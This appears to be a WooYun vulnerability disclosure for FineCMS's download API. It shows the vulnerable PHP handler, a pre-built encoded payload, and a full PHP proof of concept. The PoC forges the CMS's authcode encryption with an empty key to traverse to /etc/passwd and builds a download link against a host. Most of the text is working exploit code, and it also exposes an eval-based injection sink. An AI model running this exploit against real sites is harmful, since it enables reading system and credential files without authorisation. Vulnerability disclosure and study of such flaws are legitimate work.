WooYun.org

public function downAction() {
		$data	= fn_authcode(base64_decode($this->get('file')), 'DECODE');
		$file	= isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : '';
		if (empty($file)) $this->msg(lang('a-mod-213'));
		if (strpos($file, ':/')) {	//远程文件
			header("Location: $file");
		} else {	//本地图片
			if (!is_file($file)) $this->msg(lang('a-mod-214') . '(#' . $file . ')');;    // $file = '../../../etc/passwd'
			header('Pragma: public');
			header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
			header('Cache-Control: no-store, no-cache, must-revalidate');
			header('Cache-Control: pre-check=0, post-check=0, max-age=0');
			header('Content-Transfer-Encoding: binary');
			header('Content-Encoding: none');
			header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10))));
			header('Content-Disposition: attachment; filename="' . basename($file) . '"');
			header('Content-length: ' . sprintf("%u", filesize($file)));
			readfile($file);
			exit;
		}
	}

$file = ../../../etc/passwd  //passwd文件所在路径

function downfile($url) {
	return url('api/down', array('file' => str_replace('=', '', base64_encode(fn_authcode(array('finecms' => $url), 'ENCODE')))));
}

MWZlYi83YkxvZlJoUkdCS0xIVk9ZQ0pIZ1p3Zm5TZFR3dEJsK2pucm9wUjdqYXg0OTlXVjhYa1hrb2ZzYmdKa1Z2bmRwTnJ0NVZGdEQrTlBieXNaWWhJeXFUZ2dsRnprY0hCeGx3

<?php
ini_set('display_errors','1');
error_reporting(E_ALL);
function new_stripslashes($string) {
	if(!is_array($string)) return stripslashes($string);
	foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
	return $string;
}
function array2string($data, $isformdata = 1) {
	if($data == '') return '';
	if($isformdata) $data = new_stripslashes($data);
	return serialize($data);
}
/**
* 将字符串转换为数组
* @param	string	$data	字符串
* @return	array	返回数组格式，如果，data为空，则返回空数组
*/
function string2array($data) {
	if ($data == '') return array();
	if (is_array($data)) return $data;
	if (strpos($data, 'array') !== false && strpos($data, 'array') === 0) {
	    @eval("\$array = $data;");
		return $array;
	}
	return unserialize($data);
}
function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) {
	$ckey_length = 4;
	$string	= $operation == 'DECODE' ? $data : array2string($data);
	$key	= md5($key ? $key : '');
	$keya	= md5(substr($key, 0, 16));
	$keyb	= md5(substr($key, 16, 16));
	$keyc	= $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
	$cryptkey	= $keya . md5($keya . $keyc);
	$key_length = strlen($cryptkey);
	$string	= $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
	$string_length	= strlen($string);
	$result = '';
	$box	= range(0, 255);
	$rndkey = array();
	for($i	= 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}
	for($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}
	for($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}
	if($operation == 'DECODE') {
		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
			return string2array(substr($result, 26));
		} else {
			return '';
		}
	} else {
		return $keyc . str_replace('=', '', base64_encode($result));
	}
}
$result = str_replace('=', '', base64_encode(fn_authcode(array('finecms' => '../../../../etc/passwd'), 'ENCODE')));
echo "加密:".$result."<br/><hr>";
$data	= fn_authcode(base64_decode($result), 'DECODE');
echo "解密：".print_r($data)."<br/><hr/>";
?>
<a href="http://10.121.50.249/index.php?c=api&a=down&file=<?php echo $result?>">下载地址</a>